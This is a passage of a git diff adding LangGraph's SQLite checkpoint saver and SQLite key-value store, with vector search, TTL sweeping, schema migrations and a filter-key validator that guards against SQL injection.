checkpoint. + """ + await self.setup() + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"]["checkpoint_ns"] + type_, serialized_checkpoint = self.serde.dumps_typed(checkpoint) + serialized_metadata = json.dumps( + get_checkpoint_metadata(config, metadata), ensure_ascii=False + ).encode("utf-8", "ignore") + async with ( + self.lock, + self.conn.execute( + "INSERT OR REPLACE INTO checkpoints (thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata) VALUES (?, ?, ?, ?, ?, ?, ?)", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + checkpoint["id"], + config["configurable"].get("checkpoint_id"), + type_, + serialized_checkpoint, + serialized_metadata, + ), + ), + ): + await self.conn.commit() + return { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + async def aput_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint asynchronously. + + This method saves intermediate writes associated with a checkpoint to the database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + """ + query = ( + "INSERT OR REPLACE INTO writes (thread_id, checkpoint_ns, checkpoint_id, task_id, idx, channel, type, value) VALUES (?, ?, ?, ?, ?, ?, ?, ?)" + if all(w[0] in WRITES_IDX_MAP for w in writes) + else "INSERT OR IGNORE INTO writes (thread_id, checkpoint_ns, checkpoint_id, task_id, idx, channel, type, value) VALUES (?, ?, ?, ?, ?, ?, ?, ?)" + ) + await self.setup() + async with self.lock, self.conn.cursor() as cur: + await cur.executemany( + query, + [ + ( + str(config["configurable"]["thread_id"]), + str(config["configurable"]["checkpoint_ns"]), + str(config["configurable"]["checkpoint_id"]), + task_id, + WRITES_IDX_MAP.get(channel, idx), + channel, + *self.serde.dumps_typed(value), + ) + for idx, (channel, value) in enumerate(writes) + ], + ) + await self.conn.commit() + + async def adelete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + async with self.lock, self.conn.cursor() as cur: + await cur.execute( + "DELETE FROM checkpoints WHERE thread_id = ?", + (str(thread_id),), + ) + await cur.execute( + "DELETE FROM writes WHERE thread_id = ?", + (str(thread_id),), + ) + await self.conn.commit() + + async def aget_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Fast-path override of `BaseCheckpointSaver.aget_delta_channel_history`. + + See `SqliteSaver.get_delta_channel_history` for design notes; this + is the async equivalent using `aiosqlite` cursors. Stage 1 pages + the parent chain newest-first and Python-deserializes each + checkpoint blob to find per-channel snapshots; stage 2 fetches + only the relevant writes via per-channel UNION ALL. + """ + if not channels: + return {} + channels = list(channels) + await self.setup() + thread_id = str(config["configurable"]["thread_id"]) + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = get_checkpoint_id(config) + if checkpoint_id is None: + target = await self.aget_tuple(config) + if target is None: + return {ch: {"writes": []} for ch in channels} + checkpoint_id = target.config["configurable"]["checkpoint_id"] + + chain_by_ch: dict[str, list[str]] = {ch: [] for ch in channels} + seed_val_by_ch: dict[str, Any] = {} + walk_state: dict[str, Any] = {} + seeded: set[str] = set() + + async with self.lock, self.conn.cursor() as cur: + await cur.execute( + DELTA_STAGE1_SQL, (thread_id, checkpoint_ns, checkpoint_id) + ) + async for row in cur: + cid, parent_cid, type_tag, blob = row + if step_walk_with_row( + cid=cid, + parent_cid=parent_cid, + type_tag=type_tag, + blob=blob, + target_id=checkpoint_id, + serde=self.serde, + chain_by_ch=chain_by_ch, + seed_val_by_ch=seed_val_by_ch, + walk_state=walk_state, + seeded=seeded, + channels=channels, + ): + break + + channels_with_chain = [ch for ch in channels if chain_by_ch[ch]] + stage2_sql = build_delta_stage2_sql( + chain_lens=[len(chain_by_ch[ch]) for ch in channels_with_chain], + ) + if stage2_sql: + stage2_params: list[Any] = [] + for ch in channels_with_chain: + stage2_params.extend( + [thread_id, checkpoint_ns, ch, *chain_by_ch[ch]] + ) + await cur.execute(stage2_sql, stage2_params) + stage2_rows = cast( + "list[tuple[str, str, str, int, str, bytes]]", + await cur.fetchall(), + ) + else: + stage2_rows = [] + + return build_delta_channels_writes_history( + channels=channels, + chain_by_ch=chain_by_ch, + seed_val_by_ch=seed_val_by_ch, + seeded=seeded, + stage2_rows=stage2_rows, + serde=self.serde, + ) + + def get_next_version(self, current: str | None, channel: None) -> str: + """Generate the next version ID for a channel. + + This method creates a new version identifier for a channel based on its current version. + + Args: + current (Optional[str]): The current version identifier of the channel. + + Returns: + str: The next version identifier, which is guaranteed to be monotonically increasing. + """ + if current is None: + current_v = 0 + elif isinstance(current, int): + current_v = current + else: + current_v = int(current.split(".")[0]) + next_v = current_v + 1 + next_h = random.random() + return f"{next_v:032}.{next_h:016}" + + +async def _ensure_connected(conn: aiosqlite.Connection) -> None: + if not _CONN_STARTED_CHECK(conn): + await conn + + +def _build_conn_started_check() -> Callable[[aiosqlite.Connection], bool]: + is_alive = getattr(aiosqlite.Connection, "is_alive", None) + if callable(is_alive): + return lambda conn: conn.is_alive() # type: ignore[attr-defined] + + def _started(conn: aiosqlite.Connection) -> bool: + thread: threading.Thread | None = getattr(conn, "_thread", None) + return False if thread is None else thread.is_alive() + + return _started + + +_CONN_STARTED_CHECK = _build_conn_started_check() diff --git a/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/py.typed b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py new file mode 100644 index 0000000..7c7e060 --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py @@ -0,0 +1,116 @@ +from __future__ import annotations + +import json +import re +from collections.abc import Sequence +from typing import Any + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import get_checkpoint_id + +_FILTER_PATTERN = re.compile(r"^[a-zA-Z0-9_.-]+$") + + +def _validate_filter_key(key: str) -> None: + """Validate that a filter key is safe for use in SQL queries. + + Args: + key: The filter key to validate + + Raises: + ValueError: If the key contains invalid characters that could enable SQL injection + """ + # Allow alphanumeric characters, underscores, dots, and hyphens + # This covers typical JSON property names while preventing SQL injection + if not _FILTER_PATTERN.match(key): + raise ValueError( + f"Invalid filter key: '{key}'. Filter keys must contain only alphanumeric characters, underscores, dots, and hyphens." + ) + + +def _metadata_predicate( + metadata_filter: dict[str, Any], +) -> tuple[Sequence[str], Sequence[Any]]: + """Return WHERE clause predicates for (a)search() given metadata filter. + + This method returns a tuple of a string and a tuple of values. The string + is the parametered WHERE clause predicate (excluding the WHERE keyword): + "column1 = ? AND column2 IS ?". The tuple of values contains the values + for each of the corresponding parameters. + """ + + def _where_value(query_value: Any) -> tuple[str, Any]: + """Return tuple of operator and value for WHERE clause predicate.""" + if query_value is None: + return ("IS ?", None) + elif ( + isinstance(query_value, str) + or isinstance(query_value, int) + or isinstance(query_value, float) + ): + return ("= ?", query_value) + elif isinstance(query_value, bool): + return ("= ?", 1 if query_value else 0) + elif isinstance(query_value, dict) or isinstance(query_value, list): + # query value for JSON object cannot have trailing space after separators (, :) + # SQLite json_extract() returns JSON string without whitespace + return ("= ?", json.dumps(query_value, separators=(",", ":"))) + else: + return ("= ?", str(query_value)) + + predicates = [] + param_values = [] + + # process metadata query + for query_key, query_value in metadata_filter.items(): + _validate_filter_key(query_key) + operator, param_value = _where_value(query_value) + predicates.append( + f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}" + ) + param_values.append(param_value) + + return (predicates, param_values) + + +def search_where( + config: RunnableConfig | None, + filter: dict[str, Any] | None, + before: RunnableConfig | None = None, +) -> tuple[str, Sequence[Any]]: + """Return WHERE clause predicates for (a)search() given metadata filter + and `before` config. + + This method returns a tuple of a string and a tuple of values. The string + is the parametered WHERE clause predicate (including the WHERE keyword): + "WHERE column1 = ? AND column2 IS ?". The tuple of values contains the + values for each of the corresponding parameters. + """ + wheres = [] + param_values = [] + + # construct predicate for config filter + if config is not None: + wheres.append("thread_id = ?") + param_values.append(config["configurable"]["thread_id"]) + checkpoint_ns = config["configurable"].get("checkpoint_ns") + if checkpoint_ns is not None: + wheres.append("checkpoint_ns = ?") + param_values.append(checkpoint_ns) + + if checkpoint_id := get_checkpoint_id(config): + wheres.append("checkpoint_id = ?") + param_values.append(checkpoint_id) + + # construct predicate for metadata filter + if filter: + metadata_predicates, metadata_values = _metadata_predicate(filter) + wheres.extend(metadata_predicates) + param_values.extend(metadata_values) + + # construct predicate for `before` + if before is not None: + wheres.append("checkpoint_id < ?") + param_values.append(get_checkpoint_id(before)) + + return ("WHERE " + " AND ".join(wheres) if wheres else "", param_values) diff --git a/libs/checkpoint-sqlite/langgraph/store/sqlite/__init__.py b/libs/checkpoint-sqlite/langgraph/store/sqlite/__init__.py new file mode 100644 index 0000000..b70192f --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/store/sqlite/__init__.py @@ -0,0 +1,4 @@ +from langgraph.store.sqlite.aio import AsyncSqliteStore +from langgraph.store.sqlite.base import SqliteStore + +__all__ = ["AsyncSqliteStore", "SqliteStore"] diff --git a/libs/checkpoint-sqlite/langgraph/store/sqlite/aio.py b/libs/checkpoint-sqlite/langgraph/store/sqlite/aio.py new file mode 100644 index 0000000..f4594d5 --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/store/sqlite/aio.py @@ -0,0 +1,623 @@ +from __future__ import annotations + +import asyncio +import logging +from collections import defaultdict +from collections.abc import AsyncIterator, Callable, Iterable, Sequence +from contextlib import asynccontextmanager +from types import TracebackType +from typing import Any, cast + +import aiosqlite +import orjson +import sqlite_vec # type: ignore[import-untyped] +from langgraph.store.base import ( + GetOp, + ListNamespacesOp, + Op, + PutOp, + Result, + SearchOp, + TTLConfig, +) +from langgraph.store.base.batch import AsyncBatchedBaseStore + +from langgraph.store.sqlite.base import ( + _PLACEHOLDER, + BaseSqliteStore, + SqliteIndexConfig, + _decode_ns_text, + _ensure_index_config, + _group_ops, + _row_to_item, + _row_to_search_item, +) + +logger = logging.getLogger(__name__) + + +class AsyncSqliteStore(AsyncBatchedBaseStore, BaseSqliteStore): + """Asynchronous SQLite-backed store with optional vector search. + + This class provides an asynchronous interface for storing and retrieving data + using a SQLite database with support for vector search capabilities. + + Examples: + Basic setup and usage: + ```python + from langgraph.store.sqlite import AsyncSqliteStore + + async with AsyncSqliteStore.from_conn_string(":memory:") as store: + await store.setup() # Run migrations + + # Store and retrieve data + await store.aput(("users", "123"), "prefs", {"theme": "dark"}) + item = await store.aget(("users", "123"), "prefs") + ``` + + Vector search using LangChain embeddings: + ```python + from langchain_openai import OpenAIEmbeddings + from langgraph.store.sqlite import AsyncSqliteStore + + async with AsyncSqliteStore.from_conn_string( + ":memory:", + index={ + "dims": 1536, + "embed": OpenAIEmbeddings(), + "fields": ["text"] # specify which fields to embed + } + ) as store: + await store.setup() # Run migrations once + + # Store documents + await store.aput(("docs",), "doc1", {"text": "Python tutorial"}) + await store.aput(("docs",), "doc2", {"text": "TypeScript guide"}) + await store.aput(("docs",), "doc3", {"text": "Other guide"}, index=False) # don't index + + # Search by similarity + results = await store.asearch(("docs",), query="programming guides", limit=2) + ``` + + Warning: + Make sure to call `setup()` before first use to create necessary tables and indexes. + + Note: + This class requires the aiosqlite package. Install with `pip install aiosqlite`. + """ + + def __init__( + self, + conn: aiosqlite.Connection, + *, + deserializer: Callable[[bytes | str | orjson.Fragment], dict[str, Any]] + | None = None, + index: SqliteIndexConfig | None = None, + ttl: TTLConfig | None = None, + ): + """Initialize the async SQLite store. + + Args: + conn: The SQLite database connection. + deserializer: Optional custom deserializer function for values. + index: Optional vector search configuration. + ttl: Optional time-to-live configuration. + """ + super().__init__() + self._deserializer = deserializer + self.conn = conn + self.lock = asyncio.Lock() + self.loop = asyncio.get_running_loop() + self.is_setup = False + self.index_config = index + if self.index_config: + self.embeddings, self.index_config = _ensure_index_config(self.index_config) + else: + self.embeddings = None + self.ttl_config = ttl + self._ttl_sweeper_task: asyncio.Task[None] | None = None + self._ttl_stop_event = asyncio.Event() + + @classmethod + @asynccontextmanager + async def from_conn_string( + cls, + conn_string: str, + *, + index: SqliteIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> AsyncIterator[AsyncSqliteStore]: + """Create a new AsyncSqliteStore instance from a connection string. + + Args: + conn_string: The SQLite connection string. + index: Optional vector search configuration. + ttl: Optional time-to-live configuration. + + Returns: + An AsyncSqliteStore instance wrapped in an async context manager. + """ + async with aiosqlite.connect(conn_string, isolation_level=None) as conn: + yield cls(conn, index=index, ttl=ttl) + + async def setup(self) -> None: + """Set up the store database. + + This method creates the necessary tables in the SQLite database if they don't + already exist and runs database migrations. It should be called before first use. + """ + async with self.lock: + if self.is_setup: + return + + # Create migrations table if it doesn't exist + await self.conn.execute( + """ + CREATE TABLE IF NOT EXISTS store_migrations ( + v INTEGER PRIMARY KEY + ) + """ + ) + + # Check current migration version + async with self.conn.execute( + "SELECT v FROM store_migrations ORDER BY v DESC LIMIT 1" + ) as cur: + row = await cur.fetchone() + if row is None: + version = -1 + else: + version = row[0] + + # Apply migrations + for v, sql in enumerate(self.MIGRATIONS[version + 1 :], start=version + 1): + await self.conn.executescript(sql) + await self.conn.execute( + "INSERT INTO store_migrations (v) VALUES (?)", (v,) + ) + + # Apply vector migrations if index config is provided + if self.index_config: + # Create vector migrations table if it doesn't exist + await self.conn.enable_load_extension(True) + await self.conn.load_extension(sqlite_vec.loadable_path()) + await self.conn.enable_load_extension(False) + await self.conn.execute( + """ + CREATE TABLE IF NOT EXISTS vector_migrations ( + v INTEGER PRIMARY KEY + ) + """ + ) + + # Check current vector migration version + async with self.conn.execute( + "SELECT v FROM vector_migrations ORDER BY v DESC LIMIT 1" + ) as cur: + row = await cur.fetchone() + if row is None: + version = -1 + else: + version = row[0] + + # Apply vector migrations + for v, sql in enumerate( + self.VECTOR_MIGRATIONS[version + 1 :], start=version + 1 + ): + await self.conn.executescript(sql) + await self.conn.execute( + "INSERT INTO vector_migrations (v) VALUES (?)", (v,) + ) + + self.is_setup = True + + @asynccontextmanager + async def _cursor( + self, *, transaction: bool = True + ) -> AsyncIterator[aiosqlite.Cursor]: + """Get a cursor for the SQLite database. + + Args: + transaction: Whether to use a transaction for database operations. + + Yields: + An SQLite cursor object. + """ + if not self.is_setup: + await self.setup() + async with self.lock: + if transaction: + await self.conn.execute("BEGIN") + + async with self.conn.cursor() as cur: + try: + yield cur + finally: + if transaction: + await self.conn.execute("COMMIT") + + async def sweep_ttl(self) -> int: + """Delete expired store items based on TTL. + + Returns: + int: The number of deleted items. + """ + async with self._cursor() as cur: + await cur.execute( + """ + DELETE FROM store + WHERE expires_at IS NOT NULL AND expires_at < CURRENT_TIMESTAMP + """ + ) + deleted_count = cur.rowcount + return deleted_count + + async def start_ttl_sweeper( + self, sweep_interval_minutes: int | None = None + ) -> asyncio.Task[None]: + """Periodically delete expired store items based on TTL. + + Returns: + Task that can be awaited or cancelled. + """ + if not self.ttl_config: + return asyncio.create_task(asyncio.sleep(0)) + + if self._ttl_sweeper_task is not None and not self._ttl_sweeper_task.done(): + return self._ttl_sweeper_task + + self._ttl_stop_event.clear() + + interval = float( + sweep_interval_minutes or self.ttl_config.get("sweep_interval_minutes") or 5 + ) + logger.info(f"Starting store TTL sweeper with interval {interval} minutes") + + async def _sweep_loop() -> None: + while not self._ttl_stop_event.is_set(): + try: + try: + await asyncio.wait_for( + self._ttl_stop_event.wait(), + timeout=interval * 60, + ) + break + except asyncio.TimeoutError: + pass + + expired_items = await self.sweep_ttl() + if expired_items > 0: + logger.info(f"Store swept {expired_items} expired items") + except asyncio.CancelledError: + break + except Exception as exc: + logger.exception("Store TTL sweep iteration failed", exc_info=exc) + + task = asyncio.create_task(_sweep_loop()) + task.set_name("ttl_sweeper") + self._ttl_sweeper_task = task + return task + + async def stop_ttl_sweeper(self, timeout: float | None = None) -> bool: + """Stop the TTL sweeper task if it's running. + + Args: + timeout: Maximum time to wait for the task to stop, in seconds. + If `None`, wait indefinitely. + + Returns: + bool: True if the task was successfully stopped or wasn't running, + False if the timeout was reached before the task stopped. + """ + if self._ttl_sweeper_task is None or self._ttl_sweeper_task.done(): + return True + + logger.info("Stopping TTL sweeper task") + self._ttl_stop_event.set() + + if timeout is not None: + try: + await asyncio.wait_for(self._ttl_sweeper_task, timeout=timeout) + success = True + except asyncio.TimeoutError: + success = False + else: + await self._ttl_sweeper_task + success = True + + if success: + self._ttl_sweeper_task = None + logger.info("TTL sweeper task stopped") + else: + logger.warning("Timed out waiting for TTL sweeper task to stop") + + return success + + async def __aenter__(self) -> AsyncSqliteStore: + return self + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: TracebackType | None, + ) -> None: + # Ensure the TTL sweeper task is stopped when exiting the context + if hasattr(self, "_ttl_sweeper_task") and self._ttl_sweeper_task is not None: + # Set the event to signal the task to stop + self._ttl_stop_event.set() + # We don't wait for the task to complete here to avoid blocking + # The task will clean up itself gracefully + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + """Execute a batch of operations asynchronously. + + Args: + ops: Iterable of operations to execute. + + Returns: + List of operation results. + """ + grouped_ops, num_ops = _group_ops(ops) + results: list[Result] = [None] * num_ops + + async with self._cursor(transaction=True) as cur: + if GetOp in grouped_ops: + await self._batch_get_ops( + cast(Sequence[tuple[int, GetOp]], grouped_ops[GetOp]), results, cur + ) + + if SearchOp in grouped_ops: + await self._batch_search_ops( + cast(Sequence[tuple[int, SearchOp]], grouped_ops[SearchOp]), + results, + cur, + ) + + if ListNamespacesOp in grouped_ops: + await self._batch_list_namespaces_ops( + cast( + Sequence[tuple[int, ListNamespacesOp]], + grouped_ops[ListNamespacesOp], + ), + results, + cur, + ) + + if PutOp in grouped_ops: + await self._batch_put_ops( + cast(Sequence[tuple[int, PutOp]], grouped_ops[PutOp]), cur + ) + + return results + + async def _batch_get_ops( + self, + get_ops: Sequence[tuple[int, GetOp]], + results: list[Result], + cur: aiosqlite.Cursor, + ) -> None: + """Process batch GET operations. + + Args: + get_ops: Sequence of GET operations. + results: List to store results in. + cur: Database cursor. + """ + # Group all queries by namespace to execute all operations for each namespace together + namespace_queries = defaultdict(list) + for prepared_query in self._get_batch_GET_ops_queries(get_ops): + namespace_queries[prepared_query.namespace].append(prepared_query) + + # Process each namespace's operations + for namespace, queries in namespace_queries.items(): + # Execute TTL refresh queries first + for query in queries: + if query.kind == "refresh": + try: + await cur.execute(query.query, query.params) + except Exception as e: + raise ValueError( + f"Error executing TTL refresh: \n{query.query}\n{query.params}\n{e}" + ) from e + + # Then execute GET queries and process results + for query in queries: + if query.kind == "get": + try: + await cur.execute(query.query, query.params) + except Exception as e: + raise ValueError( + f"Error executing GET query: \n{query.query}\n{query.params}\n{e}" + ) from e + + rows = await cur.fetchall() + key_to_row = { + row[0]: { + "key": row[0], + "value": row[1], + "created_at": row[2], + "updated_at": row[3], + "expires_at": row[4] if len(row) > 4 else None, + "ttl_minutes": row[5] if len(row) > 5 else None, + } + for row in rows + } + + # Process results for this query + for idx, key in query.items: + row = key_to_row.get(key) + if row: + results[idx] = _row_to_item( + namespace, row, loader=self._deserializer + ) + else: + results[idx] = None + + async def _batch_put_ops( + self, + put_ops: Sequence[tuple[int, PutOp]], + cur: aiosqlite.Cursor, + ) -> None: + """Process batch PUT operations. + + Args: + put_ops: Sequence of PUT operations. + cur: Database cursor. + """ + queries, embedding_request = self._prepare_batch_PUT_queries(put_ops) + if embedding_request: + if self.embeddings is None: + # Should not get here since the embedding config is required + # to return an embedding_request above + raise ValueError( + "Embedding configuration is required for vector operations " + f"(for semantic search). " + f"Please provide an Embeddings when initializing the {self.__class__.__name__}." + ) + + query, txt_params = embedding_request + # Update the params to replace the raw text with the vectors + vectors = await self.embeddings.aembed_documents( + [param[-1] for param in txt_params] + ) + + # Convert vectors to SQLite-friendly format + vector_params = [] + for (ns, k, pathname, _), vector in zip(txt_params, vectors, strict=False): + vector_params.extend( + [ns, k, pathname, sqlite_vec.serialize_float32(vector)] + ) + + queries.append((query, vector_params)) + + for query, params in queries: + await cur.execute(query, params) + + async def _batch_search_ops( + self, + search_ops: Sequence[tuple[int, SearchOp]], + results: list[Result], + cur: aiosqlite.Cursor, + ) -> None: + """Process batch SEARCH operations. + + Args: + search_ops: Sequence of SEARCH operations. + results: List to store results in. + cur: Database cursor. + """ + prepared_queries, embedding_requests = self._prepare_batch_search_queries( + search_ops + ) + + # Setup dot_product function if it doesn't exist + if embedding_requests and self.embeddings: + vectors = await self.embeddings.aembed_documents( + [query for _, query in embedding_requests] + ) + + for (embed_req_idx, _), embedding in zip( + embedding_requests, vectors, strict=False + ): + # Find the corresponding query in prepared_queries + # The embed_req_idx is the original index in search_ops, which should map to prepared_queries + if embed_req_idx < len(prepared_queries): + _params_list: list = prepared_queries[embed_req_idx][1] + for i, param in enumerate(_params_list): + if param is _PLACEHOLDER: + _params_list[i] = sqlite_vec.serialize_float32(embedding) + else: + logger.warning( + f"Embedding request index {embed_req_idx} out of bounds for prepared_queries." + ) + + for (original_op_idx, _), (query, params, needs_refresh) in zip( + search_ops, prepared_queries, strict=False + ): + await cur.execute(query, params) + rows = await cur.fetchall() + + if needs_refresh and rows and self.ttl_config: + keys_to_refresh = [] + for row_data in rows: + # Assuming row_data[0] is prefix (text), row_data[1] is key (text) + # These are raw text values directly from the DB. + keys_to_refresh.append((row_data[0], row_data[1])) + + if keys_to_refresh: + updates_by_prefix = defaultdict(list) + for prefix_text, key_text in keys_to_refresh: + updates_by_prefix[prefix_text].append(key_text) + + for prefix_text, key_list in updates_by_prefix.items(): + placeholders = ",".join(["?"] * len(key_list)) + update_query = f""" + UPDATE store + SET expires_at = DATETIME(CURRENT_TIMESTAMP, '+' || ttl_minutes || ' minutes') + WHERE prefix = ? AND key IN ({placeholders}) AND ttl_minutes IS NOT NULL + """ + update_params = (prefix_text, *key_list) + try: + await cur.execute(update_query, update_params) + except Exception as e: + logger.error( + f"Error during TTL refresh update for search: {e}" + ) + + # Process rows into items + if "score" in query: # Vector search query + items = [ + _row_to_search_item( + _decode_ns_text(row[0]), # prefix + { + "key": row[1], # key + "value": row[2], # value + "created_at": row[3], + "updated_at": row[4], + "expires_at": row[5] if len(row) > 5 else None, + "ttl_minutes": row[6] if len(row) > 6 else None, + "score": row[7] if len(row) > 7 else None, + }, + loader=self._deserializer, + ) + for row in rows + ] + else: # Regular search query + items = [ + _row_to_search_item( + _decode_ns_text(row[0]), # prefix + { + "key": row[1], # key + "value": row[2], # value + "created_at": row[3], + "updated_at": row[4], + "expires_at": row[5] if len(row) > 5 else None, + "ttl_minutes": row[6] if len(row) > 6 else None, + }, + loader=self._deserializer, + ) + for row in rows + ] + + results[original_op_idx] = items + + async def _batch_list_namespaces_ops( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + results: list[Result], + cur: aiosqlite.Cursor, + ) -> None: + """Process batch LIST NAMESPACES operations. + + Args: + list_ops: Sequence of LIST NAMESPACES operations. + results: List to store results in. + cur: Database cursor. + """ + queries = self._get_batch_list_namespaces_queries(list_ops) + for (query, params), (idx, _) in zip(queries, list_ops, strict=False): + await cur.execute(query, params) + + rows = await cur.fetchall() + results[idx] = [_decode_ns_text(row[0]) for row in rows] diff --git a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py b/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py new file mode 100644 index 0000000..ab167b1 --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py @@ -0,0 +1,1431 @@ +from __future__ import annotations + +import concurrent.futures +import datetime +import logging +import re +import sqlite3 +import threading +from collections import defaultdict +from collections.abc import Callable, Iterable, Iterator, Sequence +from contextlib import contextmanager +from typing import Any, Literal, NamedTuple, cast + +import orjson +import sqlite_vec # type: ignore[import-untyped] +from langgraph.store.base import ( + BaseStore, + GetOp, + IndexConfig, + Item, + ListNamespacesOp, + Op, + PutOp, + Result, + SearchItem, + SearchOp, + TTLConfig, + ensure_embeddings, + get_text_at_path, + tokenize_path, +) + +_AIO_ERROR_MSG = ( + "The SqliteStore does not support async methods. " + "Consider using AsyncSqliteStore instead.\n" + "from langgraph.store.sqlite.aio import AsyncSqliteStore\n" +) + +logger = logging.getLogger(__name__) + +MIGRATIONS = [ + """ +CREATE TABLE IF NOT EXISTS store ( + -- 'prefix' represents the doc's 'namespace' + prefix text NOT NULL, + key text NOT NULL, + value text NOT NULL, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (prefix, key) +); +""", + """ +-- For faster lookups by prefix +CREATE INDEX IF NOT EXISTS store_prefix_idx ON store (prefix); +""", + """ +-- Add expires_at column to store table +ALTER TABLE store +ADD COLUMN expires_at TIMESTAMP; +""", + """ +-- Add ttl_minutes column to store table +ALTER TABLE store +ADD COLUMN ttl_minutes REAL; +""", + """ +-- Add index for efficient TTL sweeping +CREATE INDEX IF NOT EXISTS idx_store_expires_at ON store (expires_at) +WHERE expires_at IS NOT NULL; +""", +] + +VECTOR_MIGRATIONS = [ + """ +CREATE TABLE IF NOT EXISTS store_vectors ( + prefix text NOT NULL, + key text NOT NULL, + field_name text NOT NULL, + embedding BLOB, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (prefix, key, field_name), + FOREIGN KEY (prefix, key) REFERENCES store(prefix, key) ON DELETE CASCADE +); +""", +] + + +class SqliteIndexConfig(IndexConfig): + """Configuration for vector embeddings in SQLite store.""" + + pass + + +def _namespace_to_text( + namespace: tuple[str, ...], handle_wildcards: bool = False +) -> str: + """Convert namespace tuple to text string.""" + if handle_wildcards: + namespace = tuple("%" if val == "*" else val for val in namespace) + return ".".join(namespace) + + +def _decode_ns_text(namespace: str) -> tuple[str, ...]: + """Convert namespace string to tuple.""" + return tuple(namespace.split(".")) + + +_FILTER_PATTERN = re.compile(r"^[a-zA-Z0-9_.-]+$") + + +def _validate_filter_key(key: str) -> None: + """Validate that a filter key is safe for use in SQL queries. + + Args: + key: The filter key to validate + + Raises: + ValueError: If the key contains invalid characters that could enable SQL injection + """ + # Allow alphanumeric characters, underscores, dots, and hyphens + # This covers typical JSON property names while preventing SQL injection + if not _FILTER_PATTERN.match(key): + raise ValueError( + f"Invalid filter key: '{key}'. Filter keys must contain only alphanumeric characters, underscores, dots, and hyphens." + ) + + +def _json_loads(content: bytes | str | orjson.Fragment) -> Any: + if isinstance(content, orjson.Fragment): + if hasattr(content, "buf"): + content = content.buf + else: + if isinstance(content.contents, bytes): + content = content.contents + else: + content = content.contents.encode() + return orjson.loads(cast(bytes, content)) + elif isinstance(content, bytes): + return orjson.loads(content) + else: + return orjson.loads(content) + + +def _row_to_item( + namespace: tuple[str, ...], + row: dict[str, Any], + *, + loader: Callable[[bytes | str | orjson.Fragment], dict[str, Any]] | None = None, +) -> Item: + """Convert a row from the database into an Item.""" + val = row["value"] + if not isinstance(val, dict): + val = (loader or _json_loads)(val) + + kwargs = { + "key": row["key"], + "namespace": namespace, + "value": val, + "created_at": row["created_at"], + "updated_at": row["updated_at"], + } + + return Item(**kwargs) + + +def _row_to_search_item( + namespace: tuple[str, ...], + row: dict[str, Any], + *, + loader: Callable[[bytes | str | orjson.Fragment], dict[str, Any]] | None = None, +) -> SearchItem: + """Convert a row from the database into a SearchItem.""" + loader = loader or _json_loads + val = row["value"] + score = row.get("score") + if score is not None: + try: + score = float(score) + except ValueError: + logger.warning("Invalid score: %s", score) + score = None + return SearchItem( + value=val if isinstance(val, dict) else loader(val), + key=row["key"], + namespace=namespace, + created_at=row["created_at"], + updated_at=row["updated_at"], + score=score, + ) + + +def _group_ops(ops: Iterable[Op]) -> tuple[dict[type, list[tuple[int, Op]]], int]: + grouped_ops: dict[type, list[tuple[int, Op]]] = defaultdict(list) + tot = 0 + for idx, op in enumerate(ops): + grouped_ops[type(op)].append((idx, op)) + tot += 1 + return grouped_ops, tot + + +class PreparedGetQuery(NamedTuple): + query: str # Main query to execute + params: tuple # Parameters for the main query + namespace: tuple[str, ...] # Namespace info + items: list # List of items this query is for + kind: Literal["get", "refresh"] + + +class BaseSqliteStore: + """Shared base class for SQLite stores.""" + + MIGRATIONS = MIGRATIONS + VECTOR_MIGRATIONS = VECTOR_MIGRATIONS + supports_ttl = True + index_config: SqliteIndexConfig | None = None + ttl_config: TTLConfig | None = None + + def _get_batch_GET_ops_queries( + self, get_ops: Sequence[tuple[int, GetOp]] + ) -> list[PreparedGetQuery]: + """ + Build queries to fetch (and optionally refresh the TTL of) multiple keys per namespace. + + Returns a list of PreparedGetQuery objects, which may include: + - Queries with kind='refresh' for TTL refresh operations + - Queries with kind='get' for data retrieval operations + """ + namespace_groups = defaultdict(list) + refresh_ttls = defaultdict(list) + for idx, op in get_ops: + namespace_groups[op.namespace].append((idx, op.key)) + refresh_ttls[op.namespace].append(getattr(op, "refresh_ttl", False)) + + results = [] + for namespace, items in namespace_groups.items(): + _, keys = zip(*items, strict=False) + this_refresh_ttls = refresh_ttls[namespace] + refresh_ttl_any = any(this_refresh_ttls) + + # Always add the main query to get the data + select_query = f""" + SELECT key, value, created_at, updated_at, expires_at, ttl_minutes + FROM store + 